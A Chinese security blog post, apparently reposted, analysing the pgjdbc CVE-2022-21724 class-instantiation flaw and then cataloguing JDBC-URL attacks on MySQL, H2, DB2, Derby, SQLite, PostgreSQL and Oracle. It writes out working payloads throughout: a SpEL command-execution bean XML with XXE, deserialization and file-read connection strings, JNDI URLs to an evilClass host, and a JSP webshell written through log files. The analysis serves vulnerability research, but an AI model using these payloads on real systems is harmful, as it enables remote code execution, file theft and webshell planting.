一、 CVE-2022-21724
最近有人发文章分析了这个PostgreSQL漏洞,我很感兴趣但点进去却删除了文章,不得已只能自己来分析。
先去cve网站上找这个CVE,发现是个jdbc漏洞。
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21724
authenticationPluginClassName/sslhostnameverifier/socketFactory/sslfactory/sslpasswordcallback这几个参数会造成类实例化。
然后看那几个github链接,好吧,已经把poc都给出来了。
jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml
再看看代码更新
https://github.com/pgjdbc/pgjdbc/commit/f4d0ed69c0b3aae8531d83d6af4c57f22312c813
老代码传的类名,最后做强转,而新代码直接传的指定类。而这种修改有多处,应该对应它公布的那多个参数。
那我们在spring环境中进行代码测试,监听本地80端口。
<dependency>
<groupId>org.postgresql</groupId>
<artifactId>postgresql</artifactId>
<version>42.3.1</version>
</dependency>
public static void main(String[] args) throws Exception{
String driver = "org.postgresql.Driver";
Class.forName(driver);
String DB_URL = "jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://127.0.0.1:80/exp.xml";
Connection conn = DriverManager.getConnection(DB_URL);
}
收到请求,在org.postgresql.core.SocketFactoryFactory.getSocketFactory()下断点。
publicstaticSocketFactory getSocketFactory(Properties info) throwsPSQLException {
// Socket factory
String socketFactoryClassName = PGProperty.SOCKET_FACTORY.get(info);
if (socketFactoryClassName == null) {
return SocketFactory.getDefault();
}
try {
return (SocketFactory) ObjectFactory.instantiate(socketFactoryClassName, info, true,
PGProperty.SOCKET_FACTORY_ARG.get(info));
} catch (Exception e) {
thrownewPSQLException(
GT.tr("TheSocketFactory class provided {0} could not be instantiated.",
socketFactoryClassName),
PSQLState.CONNECTION_FAILURE, e);
}
}
socketFactoryClassName为我们传入的socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext
PGProperty.SOCKET_FACTORY_ARG.get(info)为我们传入的socketFactoryArg=http://127.0.0.1:80/exp.xml
跟进org.postgresql.util.ObjectFactory.instantiate()
publicstatic Objectinstantiate(String classname,Properties info, booleantryString,
String stringarg)
throws ClassNotFoundException, SecurityException, NoSuchMethodException,
IllegalArgumentException,InstantiationException, IllegalAccessException,
InvocationTargetException {
Object[] args = {info};
Constructor<?> ctor = null;
Class<?> cls = Class.forName(classname);
try {
ctor = cls.getConstructor(Properties.class);
} catch (NoSuchMethodException ignored) {
}
if (tryString && ctor == null) {
try {
ctor = cls.getConstructor(String.class);
args = newString[]{stringarg};
} catch (NoSuchMethodException ignored) {
}
}
if (ctor == null) {
ctor = cls.getConstructor();
args = newObject[0];
}
returnctor.newInstance(args);
可以看到是熟悉的反射写法,实际上就是需要socketFactory类有单String的构造方法,然后传入socketFactoryArg进行实例化。
相当于new socketFactory(socketFactoryArg)。由于socketFactory没有进行类检测,任意类都行,因此造成了危害,后面的修复方案也就是限定其为SocketFactory.class。
单String参数构造方法就能造成危害的还是比较少的,我第一时间想的就是java.io.FileOutputStream来建立空白文件,在fastjson1.2.68中我们也利用过这个类。
当然这很难称的上什么危害,而原POC用的是org.springframework.context.support.ClassPathXmlApplicationContext,似乎造成了一次SSRF,更确切来说是一次XXE,如何RCE呢?
我们搜索这个类的用法,发现其可以读取SpringBean 配置文件,且可以通过SpEL表达式来造成RCE。
<!--DOCTYPE GVI [
<!ENTITY % xxe SYSTEM "http://127.0.0.1:5667/" >
%xxe;
]-->
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="world" class="java.lang.String">
<constructor-arg value="#{T (java.lang.Runtime).getRuntime().exec('calc')}"/>
</bean>
</beans>
以及注释中的XXE也是可行的,通过这个xml应该还有更多方法进行RCE。
回过头来看,这个漏洞提到了多个参数,那么authenticationPluginClassName/sslhostnameverifier/socketFactory/sslpasswordcallback也能RCE吗。
答案是不行,因为它们传入的参数都是null,也就是只能无参构造一个类。单String构造RCE已经够苛刻了,无参构造再强转报错无论如何都不可能了。
这是一个非常典型的jdbc漏洞,那么PostgreSQL-jdbc还有其他漏洞吗?其他数据库有哪些jdbc漏洞呢?
二、 什么是jdbc
jdbc为java数据库连接标准,为了统一数据库的连接格式而制定的。常见写法如下,先加载数据库驱动,再创建jdbc数据库连接,最后执行sql。
String driver = "com.mysql.jdbc.Driver";
Class.forName(driver);
String DB_URL = "jdbc:mysql://127.0.0.1:3306/imooc?username=root&password=123456";
Connection conn = DriverManager.getConnection(DB_URL);
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("SELECT user_name, age FROM imooc_goddess");
其中jdbc:mysql://127.0.0.1:3306/imooc?username=root&password=123456这种类似url的一般称之为jdbc,常见于各种项目的后台,比如h2console,weblogic。
三、 jdbc的危害之mysql篇
恶意mysql服务器可以读文件,很多人在学习php的时候就知道,在java中同样如此。因此如果一个项目有jdbc的可控点和mysql驱动,就相当于任意文件读取。
https://paper.seebug.org/1112/
而java的mysql还多了反序列化一项危害。
https://paper.seebug.org/1227/
mysql-jdbc文件读取和反序列化都受mysql-connector-java版本影响,在客户端和服务端的交互过程中,还会自主暴漏jdk版本和mysql-connector-java版本。
可以在恶意服务器中加入如下代码来探测。
javaversion = ''.join(re.findall(r'_runtime_version[Ss]*?x0f',version))
clientversion = ''.join(re.findall(r'mysql-connector[Ss]*?x20',version))
总结一下版本的影响。
5.0.2-5.0.10,需要连接之后再查询
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections6_calc
5.1.11-5.1.48
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections6_calc
5.1.28-5.1.19
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&user=yso_CommonsCollections6_calc
5.1.29-5.1.40
jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_CommonsCollections6_calc
6.x
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections6_calc
<8.1.20
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections6_calc
全版本都可以文件读取
jdbc:mysql://127.0.0.1:3306/test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&maxAllowedPacket=655360&user=linux_passwd
=>5.1.8需要增加maxAllowedPacket=655360
=>5.1.49需要增加allowLoadLocalInfile=true
=>8.0.15需要增加allowLoadLocalInfile=true
>8.0.24,MySQL_Fake_Server会报错
其中allowUrlInLocalInfile=true还可用url的协议,即file/http/jar/netdoc
除此之外,在5.1.30<=mysql-connector-java<=5.1.48这些版本,还多了fabric这个功能,可以造成XXE。
jdbc:mysql:fabric://127.0.0.1:81
81端口index.html正常XXE,用java-ftp-oob即可。
可以看到,光mysql的jdbc危害就这么多,但可控jdbc并不是那么常见,有什么办法能够扩展危害呢?
fastjson-1.2.68和ldap-db-Factory给了一份答案,通过fastjson和ldap可控点,也能达到jdbc可控的目的,最终造成反序列化/文件读取/XXE。
https://mp.weixin.qq.com/s/BRBcRtsg2PDGeSCbHKc0fg
https://tttang.com/archive/1405/
四、 jdbc的危害之其他数据库篇
最近su18刚刚把他的jdbc文章汉化
https://paper.seebug.org/1832/
以及他参考的2019BlackHat议题
https://i.blackhat.com/eu-19/Thursday/eu-19-Zhang-New-Exploit-Technique-In-Java-Deserialization-Attack.pdf
我们可以学到很多jdbc利用方式。
h2——RCE(除了javascript之外,原文中还介绍了远程sql和Groovy)
jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON
INFORMATION_SCHEMA.TABLES AS $$//javascript
java.lang.Runtime.getRuntime().exec('calc')
$$
DB2——jndi注入
jdbc:db2://127.0.0.1:50001/BLUDB:clientRerouteServerListJNDIName=ldap://127.0.0.1:1389/evilClass;
ModeShape——jndi注入
jdbc:jcr:jndi:ldap://127.0.0.1:1389/evilClass
Derby——反序列化
jdbc:derby:webdb;startMaster=true;slaveHost=evil_server_ip
SQLite——SSRF/Magellan溢出
jdbc:sqlite::resource:http://127.0.0.1:8888/poc.db
PostgreSQL——RCE/webshell写入
原文中还提到过PostgreSQL的jdbc也存在危害,有两个,一个是今天分析的CVE-2022-21724,另一个是log文件写入。
jdbc:postgresql://<%Runtime.getRuntime().exec(request.getParameter("i"));%>:52791/test?loggerLevel=TRACE&loggerFile=shell.jsp
连接后会产生shell.jsp的报错文件,其中记录的报错将jsp webshell写了进去,如果有tomcat的路径,就可以写入webshell。
注意这里jsp代码放在host位置上的原因是放在其他地方会被转码。以及可以控制loggerLevel=TRACE,如果用的log组件是log4j2,还可以用来触发它的漏洞。
Oracle——泄露user/SSRF
jdbc:oracle:thin:@//127.0.0.1:1521/orclrninfornquitrn%20
这个监听1521端口就很容易发现
不过因为前面有%00之类的脏数据,是无法攻击redis的。
原文始发于微信公众号(珂技知识分享):由CVE-2022-21724引申jdbc漏洞